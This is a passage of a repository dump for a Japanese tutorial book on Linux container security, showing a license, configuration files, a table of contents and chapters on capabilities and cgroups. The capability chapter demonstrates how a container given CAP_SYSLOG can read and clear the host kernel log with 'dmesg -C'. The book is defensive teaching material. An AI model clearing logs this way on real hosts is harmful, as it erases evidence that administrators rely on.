[
  {
    "path": ".gitignore",
    "content": "node_modules/\n_book/\n"
  },
  {
    "path": "LICENSE",
    "content": "Attribution-NonCommercial 4.0 International\n\n=======================================================================\n\nCreative Commons Corporation (\"Creative Commons\") is not a law firm and\ndoes not provide legal services or legal advice. Distribution of\nCreative Commons public licenses does not create a lawyer-client or\nother relationship. Creative Commons makes its licenses and related\ninformation available on an \"as-is\" basis. Creative Commons gives no\nwarranties regarding its licenses, any material licensed under their\nterms and conditions, or any related information. Creative Commons\ndisclaims all liability for damages resulting from their use to the\nfullest extent possible.\n\nUsing Creative Commons Public Licenses\n\nCreative Commons public licenses provide a standard set of terms and\nconditions that creators and other rights holders may use to share\noriginal works of authorship and other material subject to copyright\nand certain other rights specified in the public license below. The\nfollowing considerations are for informational purposes only, are not\nexhaustive, and do not form part of our licenses.\n\n     Considerations for licensors: Our public licenses are\n     intended for use by those authorized to give the public\n     permission to use material in ways otherwise restricted by\n     copyright and certain other rights. Our licenses are\n     irrevocable. Licensors should read and understand the terms\n     and conditions of the license they choose before applying it.\n     Licensors should also secure all rights necessary before\n     applying our licenses so that the public can reuse the\n     material as expected. Licensors should clearly mark any\n     material not subject to the license. This includes other CC-\n     licensed material, or material used under an exception or\n     limitation to copyright. More considerations for licensors:\n    wiki.creativecommons.org/Considerations_for_licensors\n\n     Considerations for the public: By using one of our public\n     licenses, a licensor grants the public permission to use the\n     licensed material under specified terms and conditions. If\n     the licensor's permission is not necessary for any reason--for\n     example, because of any applicable exception or limitation to\n     copyright--then that use is not regulated by the license. Our\n     licenses grant only permissions under copyright and certain\n     other rights that a licensor has authority to grant. Use of\n     the licensed material may still be restricted for other\n     reasons, including because others have copyright or other\n     rights in the material. A licensor may make special requests,\n     such as asking that all changes be marked or described.\n     Although not required by our licenses, you are encouraged to\n     respect those requests where reasonable. More considerations\n     for the public:\n    wiki.creativecommons.org/Considerations_for_licensees\n\n=======================================================================\n\nCreative Commons Attribution-NonCommercial 4.0 International Public\nLicense\n\nBy exercising the Licensed Rights (defined below), You accept and agree\nto be bound by the terms and conditions of this Creative Commons\nAttribution-NonCommercial 4.0 International Public License (\"Public\nLicense\"). To the extent this Public License may be interpreted as a\ncontract, You are granted the Licensed Rights in consideration of Your\nacceptance of these terms and conditions, and the Licensor grants You\nsuch rights in consideration of benefits the Licensor receives from\nmaking the Licensed Material available under these terms and\nconditions.\n\n\nSection 1 -- Definitions.\n\n  a. Adapted Material means material subject to Copyright and Similar\n     Rights that is derived from or based upon the Licensed Material\n     and in which the Licensed Material is translated, altered,\n     arranged, transformed, or otherwise modified in a manner requiring\n     permission under the Copyright and Similar Rights held by the\n     Licensor. For purposes of this Public License, where the Licensed\n     Material is a musical work, performance, or sound recording,\n     Adapted Material is always produced where the Licensed Material is\n     synched in timed relation with a moving image.\n\n  b. Adapter's License means the license You apply to Your Copyright\n     and Similar Rights in Your contributions to Adapted Material in\n     accordance with the terms and conditions of this Public License.\n\n  c. Copyright and Similar Rights means copyright and/or similar rights\n     closely related to copyright including, without limitation,\n     performance, broadcast, sound recording, and Sui Generis Database\n     Rights, without regard to how the rights are labeled or\n     categorized. For purposes of this Public License, the rights\n     specified in Section 2(b)(1)-(2) are not Copyright and Similar\n     Rights.\n  d. Effective Technological Measures means those measures that, in the\n     absence of proper authority, may not be circumvented under laws\n     fulfilling obligations under Article 11 of the WIPO Copyright\n     Treaty adopted on December 20, 1996, and/or similar international\n     agreements.\n\n  e. Exceptions and Limitations means fair use, fair dealing, and/or\n     any other exception or limitation to Copyright and Similar Rights\n     that applies to Your use of the Licensed Material.\n\n  f. Licensed Material means the artistic or literary work, database,\n     or other material to which the Licensor applied this Public\n     License.\n\n  g. Licensed Rights means the rights granted to You subject to the\n     terms and conditions of this Public License, which are limited to\n     all Copyright and Similar Rights that apply to Your use of the\n     Licensed Material and that the Licensor has authority to license.\n\n  h. Licensor means the individual(s) or entity(ies) granting rights\n     under this Public License.\n\n  i. NonCommercial means not primarily intended for or directed towards\n     commercial advantage or monetary compensation. For purposes of\n     this Public License, the exchange of the Licensed Material for\n     other material subject to Copyright and Similar Rights by digital\n     file-sharing or similar means is NonCommercial provided there is\n     no payment of monetary compensation in connection with the\n     exchange.\n\n  j. Share means to provide material to the public by any means or\n     process that requires permission under the Licensed Rights, such\n     as reproduction, public display, public performance, distribution,\n     dissemination, communication, or importation, and to make material\n     available to the public including in ways that members of the\n     public may access the material from a place and at a time\n     individually chosen by them.\n\n  k. Sui Generis Database Rights means rights other than copyright\n     resulting from Directive 96/9/EC of the European Parliament and of\n     the Council of 11 March 1996 on the legal protection of databases,\n     as amended and/or succeeded, as well as other essentially\n     equivalent rights anywhere in the world.\n\n  l. You means the individual or entity exercising the Licensed Rights\n     under this Public License. Your has a corresponding meaning.\n\n\nSection 2 -- Scope.\n\n  a. License grant.\n\n       1. Subject to the terms and conditions of this Public License,\n          the Licensor hereby grants You a worldwide, royalty-free,\n          non-sublicensable, non-exclusive, irrevocable license to\n          exercise the Licensed Rights in the Licensed Material to:\n\n            a. reproduce and Share the Licensed Material, in whole or\n               in part, for NonCommercial purposes only; and\n\n            b. produce, reproduce, and Share Adapted Material for\n               NonCommercial purposes only.\n\n       2. Exceptions and Limitations. For the avoidance of doubt, where\n          Exceptions and Limitations apply to Your use, this Public\n          License does not apply, and You do not need to comply with\n          its terms and conditions.\n\n       3. Term. The term of this Public License is specified in Section\n          6(a).\n\n       4. Media and formats; technical modifications allowed. The\n          Licensor authorizes You to exercise the Licensed Rights in\n          all media and formats whether now known or hereafter created,\n          and to make technical modifications necessary to do so. The\n          Licensor waives and/or agrees not to assert any right or\n          authority to forbid You from making technical modifications\n          necessary to exercise the Licensed Rights, including\n          technical modifications necessary to circumvent Effective\n          Technological Measures. For purposes of this Public License,\n          simply making modifications authorized by this Section 2(a)\n          (4) never produces Adapted Material.\n\n       5. Downstream recipients.\n\n            a. Offer from the Licensor -- Licensed Material. Every\n               recipient of the Licensed Material automatically\n               receives an offer from the Licensor to exercise the\n               Licensed Rights under the terms and conditions of this\n               Public License.\n\n            b. No downstream restrictions. You may not offer or impose\n               any additional or different terms or conditions on, or\n               apply any Effective Technological Measures to, the\n               Licensed Material if doing so restricts exercise of the\n               Licensed Rights by any recipient of the Licensed\n               Material.\n\n       6. No endorsement. Nothing in this Public License constitutes or\n          may be construed as permission to assert or imply that You\n          are, or that Your use of the Licensed Material is, connected\n          with, or sponsored, endorsed, or granted official status by,\n          the Licensor or others designated to receive attribution as\n          provided in Section 3(a)(1)(A)(i).\n\n  b. Other rights.\n\n       1. Moral rights, such as the right of integrity, are not\n          licensed under this Public License, nor are publicity,\n          privacy, and/or other similar personality rights; however, to\n          the extent possible, the Licensor waives and/or agrees not to\n          assert any such rights held by the Licensor to the limited\n          extent necessary to allow You to exercise the Licensed\n          Rights, but not otherwise.\n\n       2. Patent and trademark rights are not licensed under this\n          Public License.\n\n       3. To the extent possible, the Licensor waives any right to\n          collect royalties from You for the exercise of the Licensed\n          Rights, whether directly or through a collecting society\n          under any voluntary or waivable statutory or compulsory\n          licensing scheme. In all other cases the Licensor expressly\n          reserves any right to collect such royalties, including when\n          the Licensed Material is used other than for NonCommercial\n          purposes.\n\n\nSection 3 -- License Conditions.\n\nYour exercise of the Licensed Rights is expressly made subject to the\nfollowing conditions.\n\n  a. Attribution.\n\n       1. If You Share the Licensed Material (including in modified\n          form), You must:\n\n            a. retain the following if it is supplied by the Licensor\n               with the Licensed Material:\n\n                 i. identification of the creator(s) of the Licensed\n                    Material and any others designated to receive\n                    attribution, in any reasonable manner requested by\n                    the Licensor (including by pseudonym if\n                    designated);\n\n                ii. a copyright notice;\n\n               iii. a notice that refers to this Public License;\n\n                iv. a notice that refers to the disclaimer of\n                    warranties;\n\n                 v. a URI or hyperlink to the Licensed Material to the\n                    extent reasonably practicable;\n\n            b. indicate if You modified the Licensed Material and\n               retain an indication of any previous modifications; and\n\n            c. indicate the Licensed Material is licensed under this\n               Public License, and include the text of, or the URI or\n               hyperlink to, this Public License.\n\n       2. You may satisfy the conditions in Section 3(a)(1) in any\n          reasonable manner based on the medium, means, and context in\n          which You Share the Licensed Material. For example, it may be\n          reasonable to satisfy the conditions by providing a URI or\n          hyperlink to a resource that includes the required\n          information.\n\n       3. If requested by the Licensor, You must remove any of the\n          information required by Section 3(a)(1)(A) to the extent\n          reasonably practicable.\n\n       4. If You Share Adapted Material You produce, the Adapter's\n          License You apply must not prevent recipients of the Adapted\n          Material from complying with this Public License.\n\n\nSection 4 -- Sui Generis Database Rights.\n\nWhere the Licensed Rights include Sui Generis Database Rights that\napply to Your use of the Licensed Material:\n\n  a. for the avoidance of doubt, Section 2(a)(1) grants You the right\n     to extract, reuse, reproduce, and Share all or a substantial\n     portion of the contents of the database for NonCommercial purposes\n     only;\n\n  b. if You include all or a substantial portion of the database\n     contents in a database in which You have Sui Generis Database\n     Rights, then the database in which You have Sui Generis Database\n     Rights (but not its individual contents) is Adapted Material; and\n\n  c. You must comply with the conditions in Section 3(a) if You Share\n     all or a substantial portion of the contents of the database.\n\nFor the avoidance of doubt, this Section 4 supplements and does not\nreplace Your obligations under this Public License where the Licensed\nRights include other Copyright and Similar Rights.\n\n\nSection 5 -- Disclaimer of Warranties and Limitation of Liability.\n\n  a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE\n     EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS\n     AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF\n     ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,\n     IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,\n     WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR\n     PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,\n     ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT\n     KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT\n     ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.\n\n  b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE\n     TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,\n     NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,\n     INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,\n     COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR\n     USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN\n     ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR\n     DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR\n     IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.\n\n  c. The disclaimer of warranties and limitation of liability provided\n     above shall be interpreted in a manner that, to the extent\n     possible, most closely approximates an absolute disclaimer and\n     waiver of all liability.\n\n\nSection 6 -- Term and Termination.\n\n  a. This Public License applies for the term of the Copyright and\n     Similar Rights licensed here. However, if You fail to comply with\n     this Public License, then Your rights under this Public License\n     terminate automatically.\n\n  b. Where Your right to use the Licensed Material has terminated under\n     Section 6(a), it reinstates:\n\n       1. automatically as of the date the violation is cured, provided\n          it is cured within 30 days of Your discovery of the\n          violation; or\n\n       2. upon express reinstatement by the Licensor.\n\n     For the avoidance of doubt, this Section 6(b) does not affect any\n     right the Licensor may have to seek remedies for Your violations\n     of this Public License.\n\n  c. For the avoidance of doubt, the Licensor may also offer the\n     Licensed Material under separate terms or conditions or stop\n     distributing the Licensed Material at any time; however, doing so\n     will not terminate this Public License.\n\n  d. Sections 1, 5, 6, 7, and 8 survive termination of this Public\n     License.\n\n\nSection 7 -- Other Terms and Conditions.\n\n  a. The Licensor shall not be bound by any additional or different\n     terms or conditions communicated by You unless expressly agreed.\n\n  b. Any arrangements, understandings, or agreements regarding the\n     Licensed Material not stated herein are separate from and\n     independent of the terms and conditions of this Public License.\n\n\nSection 8 -- Interpretation.\n\n  a. For the avoidance of doubt, this Public License does not, and\n     shall not be interpreted to, reduce, limit, restrict, or impose\n     conditions on any use of the Licensed Material that could lawfully\n     be made without permission under this Public License.\n\n  b. To the extent possible, if any provision of this Public License is\n     deemed unenforceable, it shall be automatically reformed to the\n     minimum extent necessary to make it enforceable. If the provision\n     cannot be reformed, it shall be severed from this Public License\n     without affecting the enforceability of the remaining terms and\n     conditions.\n\n  c. No term or condition of this Public License will be waived and no\n     failure to comply consented to unless expressly agreed to by the\n     Licensor.\n\n  d. Nothing in this Public License constitutes or may be interpreted\n     as a limitation upon, or waiver of, any privileges and immunities\n     that apply to the Licensor or You, including from the legal\n     processes of any jurisdiction or authority.\n\n=======================================================================\n\nCreative Commons is not a party to its public\nlicenses. Notwithstanding, Creative Commons may elect to apply one of\nits public licenses to material it publishes and in those instances\nwill be considered the “Licensor.” The text of the Creative Commons\npublic licenses is dedicated to the public domain under the CC0 Public\nDomain Dedication. Except for the limited purpose of indicating that\nmaterial is shared under a Creative Commons public license or as\notherwise permitted by the Creative Commons policies published at\ncreativecommons.org/policies, Creative Commons does not authorize the\nuse of the trademark \"Creative Commons\" or any other trademark or logo\nof Creative Commons without its prior written consent including,\nwithout limitation, in connection with any unauthorized modifications\nto any of its public licenses or any other arrangements,\nunderstandings, or agreements concerning use of licensed material. For\nthe avoidance of doubt, this paragraph does not form part of the\npublic licenses.\n\nCreative Commons may be contacted at creativecommons.org.\n\n"
  },
  {
    "path": "README.md",
    "content": "# container-security-book\n\n---\n\n# About\n\nこれから Linux コンテナのセキュリティを学びたい人のための文書です。\n普段からコンテナを扱っているが、コンテナの基礎技術やセキュリティについては分からないという人が、それらを理解できる足がかりになるように書かれています。\n\n誤字脱字や間違いなどあれば https://github.com/mrtc0/container-security-book に Issue もしくは Pull Request を立ててください。\nご意見、ご感想等は Twitter ハッシュタグ #container-security でツイートをお願いします。\n\n# Status\n\nこの文書はまだ未完成の内容となっています。\n\n# License\n\nこの書籍に記述されているすべてのソースコードは、MITライセンスに基づいたオープンソースソフトウェアとして提供されます。\nまた、文章は Creative Commons の Attribution-NonCommercial 4.0（CC BY-NC 4.0）ライセンスに基づいて提供されます。\n\n"
  },
  {
    "path": "book.json",
    "content": "{\n  \"root\": \"./source\",\n  \"title\": \"Container Security Book\",\n  \"description\": \"これから Linux コンテナのセキュリティを学びたい人のための文書\",\n  \"author\": \"Kohei Morita @mrtc0\",\n  \"plugins\": [\n    \"image-captions\",\n    \"anchors\"\n  ]\n}\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"container-security-book\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"build\": \"honkit build\",\n    \"serve\": \"honkit serve\",\n    \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n  },\n  \"keywords\": [],\n  \"author\": \"\",\n  \"license\": \"ISC\",\n  \"devDependencies\": {\n    \"honkit\": \"3.6.23\"\n  },\n  \"dependencies\": {\n    \"gitbook-plugin-anchors\": \"^0.7.1\",\n    \"gitbook-plugin-image-captions\": \"^3.1.0\"\n  }\n}\n"
  },
  {
    "path": "renovate.json",
    "content": "{\n  \"extends\": [\n    \"config:base\"\n  ]\n}\n"
  },
  {
    "path": "source/README.md",
    "content": "---\nauthor: mrtc0\nfullTitle: \"Container Security Book - Linux コンテナのセキュリティを知ろう\"\ndescription: \"これから Linux コンテナの基礎技術やセキュリティを学びたい人のための文書です。\"\n---\n\n# Container Security Book\n\n> ⚠️この文書は製作中のものです\n\n# About\n\nこれから Linux コンテナのセキュリティを学びたい人のための文書です。  \n普段からコンテナを扱っているが、コンテナの基礎技術やセキュリティについては分からないという人が、それらを理解できる足がかりになるように書かれています。\n\n誤字脱字や間違いなどあれば https://github.com/mrtc0/container-security-book に Issue もしくは Pull Request を立ててください。  \nご意見、ご感想等は Twitter ハッシュタグ #container_security でツイートをお願いします。\n\n# License\n\nこの書籍に記述されているすべてのソースコードは MIT ライセンスとします。  \nまた、文章は Creative Commons Attribution-NonCommercial 4.0（CC BY-NC 4.0）ライセンスに基づいて提供されます。\n"
  },
  {
    "path": "source/REFERENCES.md",
    "content": "# References\n\n* Docker Documentaion / https://docs.docker.com/\n* LXD / https://linuxcontainers.org/lxd/docs/master/ (日本語訳: https://lxd-ja.readthedocs.io/ja/latest/)\n* Understanding and Hardening Linux Containers - NCC Group Whitepaper / https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf\n* Abusing Privileged and Unprivileged Linux Containers - An NCC Group Publication / https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf\n* コンテナ技術入門 - 仮想化との違いを知り、要素技術を触って学ぼう - エンジニアHub / https://eh-career.com/engineerhub/entry/2019/02/05/103000\n* LXCで学ぶコンテナ入門 －軽量仮想化環境を実現する技術 - gihyo.jp / https://gihyo.jp/admin/serial/01/linux_containers\n* Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド / https://www.amazon.co.jp/dp/4839970505\n* Container Security: Fundamental Technology Concepts That Protect Containerized Applications / https://www.amazon.co.jp/dp/1492056707\n"
  },
  {
    "path": "source/SUMMARY.md",
    "content": "# Summary\n\n## はじめに\n\n- [About](README.md)\n- [Introduction](introduction.md)\n\n## コンテナの基礎技術\n\n- [コンテナの基礎技術](container-basics.md)\n- [Namespace](namespace/README.md)\n  - [UTS Namespace](namespace/uts.md)\n  - [PID Namespace](namespace/pid.md)\n  - [Mount Namespace](namespace/mount.md)\n  - [User Namespace](namespace/user.md)\n- [chroot and pivot_root](namespace/chroot-and-pivot_root.md)\n- [Capability](capability/README.md)\n- [Seccomp](seccomp/README.md)\n- [AppArmor](lsm/apparmor.md)\n- [cgroup](cgroup/README.md)\n\n## コンテナのセキュリティと攻撃例\n\n- [Security](security/README.md)\n  - [Breakout Container](security/breakout-to-host.md)\n  - [Sensitive file mount](security/sensitive-file-mount.md)\n  - [DoS](security/DoS.md)\n  - [Adding a user to group](security/adding-a-user-to-group.md)\n  - [AppArmor Bypass](security/apparmor-bypass.md)\n  - [seccomp Bypass](security/seccomp-bypass.md)\n  - [Secrets in Layer](security/image/secrets-in-layer.md)\n  - [Image Scanner](security/image/scanner.md)\n\n## Hardening Container\n\n- [Hardening Container](hardening/README.md)\n  - [No New Privileges](hardening/no-new-privileges.md)\n  - [AppArmor](hardening/apparmor.md)\n  - [seccomp](hardening/seccomp.md)\n  - [runtime](hardening/runtime.md)\n  - [Monitoring](hardening/monitoring.md)\n  - [CIS Benchmark](hardening/cis-benchmark.md)\n\n## Kubernetes のセキュリティと攻撃例\n\n- [Kubernetes Security](kubernetes/security/README.md)\n  - [各種クラウドプロバイダの Metadata Service へのアクセス](kubernetes/security/metadata-service.md)\n  - [hostPath を使った Node へのエスケープ](kubernetes/security/hostpath-mount.md)\n  - [Pod の権限と Node へのエスケープ](kubernetes/security/privileged-pod.md)\n  - [ServiceAccount の過剰な権限](kubernetes/security/service-account.md)\n  - [etcd](kubernetes/security/etcd.md)\n\n## Hardening Kubernetes\n\n- [Hardening Kubernetes](kubernetes/hardening/README.md)\n  - [Secret Management](kubernetes/hardening/secret-management.md)\n\n## References\n\n- [References](REFERENCES.md)\n"
  },
  {
    "path": "source/capability/README.md",
    "content": "# Capability\n\nLinux には Capability と呼ばれる仕組みがあり、ファイル及びプロセスに対して権限を細かく設定することができます。  \n\n例えばポート番号が1024以下で Listen する場合は特権が必要になります。つまり root として起動する必要があるのですが、 `CAP_NET_BIND_SERVICE` という Capability を与えることで起動することができます。\n\n```sh\nubuntu@docker:~$ cp $(which python3) mypython3\n# Capability がないので80番ポートで Listen できない\nubuntu@docker:~$ getcap mypython3\nubuntu@docker:~$ ./mypython3 -m http.server 80\nTraceback (most recent call last):\n  File \"/usr/lib/python3.8/runpy.py\", line 194, in _run_module_as_main\n    return _run_code(code, main_globals, None,\n  File \"/usr/lib/python3.8/runpy.py\", line 87, in _run_code\n    exec(code, run_globals)\n  File \"/usr/lib/python3.8/http/server.py\", line 1294, in <module>\n    test(\n  File \"/usr/lib/python3.8/http/server.py\", line 1249, in test\n    with ServerClass(addr, HandlerClass) as httpd:\n  File \"/usr/lib/python3.8/socketserver.py\", line 452, in __init__\n    self.server_bind()\n  File \"/usr/lib/python3.8/http/server.py\", line 1292, in server_bind\n    return super().server_bind()\n  File \"/usr/lib/python3.8/http/server.py\", line 138, in server_bind\n    socketserver.TCPServer.server_bind(self)\n  File \"/usr/lib/python3.8/socketserver.py\", line 466, in server_bind\n    self.socket.bind(self.server_address)\nPermissionError: [Errno 13] Permission denied\n\n# Capability を付与したので Listen できる\nubuntu@docker:~$ sudo setcap 'cap_net_bind_service=+ep' ./mypython3\nubuntu@docker:~$ ./mypython3 -m http.server 80\nServing HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...\n```\n\nDocker コンテナでは `--cap-add` や `--cap-drop` を利用して Capability を付与したり削除したりできます。  \nping コマンドの実行は CAP_NET_RAW が必要なので、drop することで実行できないことが確認できます。[^1]\n\n```sh\n$ docker run --rm -it ubuntu:latest bash\nroot@4e89e243ccee:/# apt-get -qq update ; apt-get -qq -y install iputils-ping\nroot@4e89e243ccee:/# ps\nroot@4e89e243ccee:/# getpcaps 1\n1: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip\nroot@4e89e243ccee:/# ping -c 1 8.8.8.8\nPING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.\n64 bytes from 8.8.8.8: icmp_seq=1 ttl=113 time=17.9 ms\n\n$ docker run --cap-drop net_raw --rm -it ubuntu:latest bash\nroot@31bb88ca04f8:/# apt-get -qq update ; apt-get -qq -y install iputils-ping\nroot@31bb88ca04f8:/# ps\nroot@31bb88ca04f8:/# getpcaps 1\n1: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eiproot@31bb88ca04f8:/# ping 8.8.8.8\nroot@4e89e243ccee:/# ping 8.8.8.8\nbash: /usr/bin/ping: Operation not permitted\n```\n\nCapability は数多くあり、中にはコンテナからホストに影響を及ぼすものがあります。  \nそのため、過剰な Capability の付与は Breakout の原因となります。\n\n簡単な例として `CAP_SYSLOG` があります。これをコンテナに付与すると `dmesg` 経由でカーネルのログを取得及び消去することができます。  \n\n```sh\nubuntu@docker:~$ docker run --cap-add syslog --rm -it ubuntu:20.04\nroot@1577bebb133d:/# dmesg | head\n[    0.000000] Linux version 5.4.0-47-generic (buildd@lcy01-amd64-014) (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #51-Ubuntu SMP Fri Sep 4 19:50:52 UTC 2020 (Ubuntu 5.4.0-47.51-generic 5.4.55)\n[    0.000000] Command line: earlyprintk=serial console=ttyS0 root=/dev/vda1 rw panic=1 no_timer_check\n[    0.000000] KERNEL supported cpus:\n[    0.000000]   Intel GenuineIntel\n[    0.000000]   AMD AuthenticAMD\n[    0.000000]   Hygon HygonGenuine\n[    0.000000]   Centaur CentaurHauls\n[    0.000000]   zhaoxin   Shanghai\n[    0.000000] x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers'\n[    0.000000] x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers'\nroot@1577bebb133d:/# dmesg -C\nroot@1577bebb133d:/# dmesg\n```\n\nDocker や LXC などではこのような危険な Capability をデフォルトで付与しないようになっています。[^2]  \n危険な Capability を与えた場合に生じる脆弱性については[ホストへのエスケープ](../security/breakout-to-host.md)をご参照ください。\n\n---\n\n* [^1] https://blog.ssrf.in/post/ping-does-not-require-cap-net-raw-capability/ \"net.ipv4.ping_group_range を指定すると CAP_NET_RAW は必要ありません\"\n* [^2] https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities \"Runtime privilege and Linux capabilities / docker docs\"\n"
  },
  {
    "path": "source/cgroup/README.md",
    "content": "# cgroup\n\ncgroup はプロセスをグループ化し、そのグループに属するプロセスに対してリソースの制限を行う仕組みです。  \ncgroup は cgroupfs と呼ばれるファイルシステムを通して操作します。多くは `/sys/fs/cgroup` にマウントされています。\n\n制限できるリソースのことをサブシステムと呼び、CPU のコア数やメモリ使用量、プロセス数などを制限できます。  \nサブシステムについては man をご参照ください[^1]。\n\n## CPU の利用を制限する\n\n無限ループのプロセスを作成し、そのプロセスに対して CPU 利用率を100%にしてみます。  \ncgroup 管理下にない状態で `top` で確認すると 100% 利用していることが確認できます。\n\n```sh\n$ while true; do : ; done &\n[1] 16541\n\n$ top\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n  16541 ubuntu    20   0   10252   1960      0 R 100.0   0.0   0:18.27 bash\n```\n\nこのプロセスを cgroup 管理下に置きます。\n\n```sh\n$ sudo mkdir /sys/fs/cgroup/cpu/test\n$ echo 16541 | sudo tee -a /sys/fs/cgroup/cpu/test/tasks\n```\n\n続いてCPU利用率を50%にするように調整します。すると 50% 前後に落ち着くことが確認できます。\n\n```sh\n$ echo 50000 | sudo tee -a /sys/fs/cgroup/cpu/test/cpu.cfs_quota_us\n50000\n$ top\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n  16541 ubuntu    20   0   10252   1960      0 R  49.8   0.0   9:48.24 bash\n```\n\n## メモリ使用量を制限する\n\n続いてメモリ使用量も200MBに制限してみます。\n\n```sh\n$ stress --vm 1 --vm-bytes 500M\nstress: info: [17223] dispatching hogs: 0 cpu, 0 io, 1 vm, 0 hdd\n\n$ top\n   PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n  17273 root      20   0  515860 291760    208 R 100.0   7.2   0:23.89 stress\n```\n\nプロセスを cgroup 管理下に置きます。\n\n```sh\n$ sudo mkdir /sys/fs/cgroup/memory/test\n$ echo 17272 | sudo tee -a /sys/fs/cgroup/memory/test/tasks\n17273\n```\n\nメモリ使用量を 200MB に制限します。\n\n```sh\nubuntu@docker:~$ echo 200M | sudo tee -a /sys/fs/cgroup/memory/test/memory.limit_in_bytes\n200M\n```\n\nすると `stress` が OOM Killer によって kill されます。\n\n```sh\nstress: FAIL: [17272] (415) <-- worker 17273 got signal 9\nstress: WARN: [17272] (417) now reaping child worker processes\nstress: FAIL: [17272] (451) failed run completed in 55s\n\n$ dmesg\n[23834.514678] oom-kill:constraint=CONSTRAINT_MEMCG,nodemask=(null),cpuset=/,mems_allowed=0,oom_memcg=/test,task_memcg=/test,task=stress,pid=17273,uid=0\n[23834.514683] Memory cgroup out of memory: Killed process 17273 (stress) total-vm:515860kB, anon-rss:204432kB, file-rss:336kB, shmem-rss:0kB, UID:0 pgtables:444kB oom_score_adj:0\n[23834.519784] oom_reaper: reaped process 17273 (stress), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB\n```\n\n# docker で cgroup を使う\n\ndocker では `run` サブコマンドに対して `-c` フラグや `-m` フラグを指定することで制限できます。詳しくは `docker run --help` で確認してください。\n\n```sh\n$ docker run --rm -it -m 100m --memory-swappiness=0 ubuntu:20.04 bash\nroot@36570f483e85:/# stress --vm 2 --vm-bytes 100M\nstress: info: [255] dispatching hogs: 0 cpu, 0 io, 2 vm, 0 hdd\nstress: FAIL: [255] (415) <-- worker 257 got signal 9\nstress: WARN: [255] (417) now reaping child worker processes\nstress: FAIL: [255] (415) <-- worker 256 got signal 9\nstress: WARN: [255] (417) now reaping child worker processes\nstress: FAIL: [255] (451) failed run completed in 0s\n\n$ dmesg\n[24555.596613] Memory cgroup out of memory: Killed process 17691 (stress) total-vm:106260kB, anon-rss:45456kB, file-rss:320kB, shmem-rss:0kB, UID:0 pgtables:136kB oom_score_adj:0\n[24555.596719] oom_reaper: reaped process 17692 (stress), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB\n[24555.600384] oom_reaper: reaped process 17691 (stress), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB\n\n$ cat /sys/fs/cgroup/memory/docker/36570f483e8510887b7be178fba3830f1088aa694131c89a18043ef3db220658/memory.limit_in_bytes\n104857600\n```\n\n---\n\n[^1]: https://man7.org/linux/man-pages/man7/cgroups.7.html\n"
  },
  {
    "path": "source/container-basics.md",
    "content": "# コンテナの基礎技術\n\n本章では Linux コンテナが成り立っている基礎技術について紹介します。  \nLinux コンテナはホストと分離するために Namespace や cgroup の他、seccomp や LSM などを用いた多層防御モデルとなっています。  \nそれぞれの技術について実際に動かしながら、ただのプロセスがコンテナになるまでの過程をみていきましょう。\n"
  },
  {
    "path": "source/hardening/README.md",
    "content": "# Hardening Container\n\n本章ではコンテナをよりセキュアに運用するための方法について紹介します。  \nAppArmor や seccomp のプロファイルの自動生成やセキュアな OCI / CRI ランタイム、コンテナのモニタリングについて取り上げます。\n"
  },
  {
    "path": "source/hardening/apparmor.md",
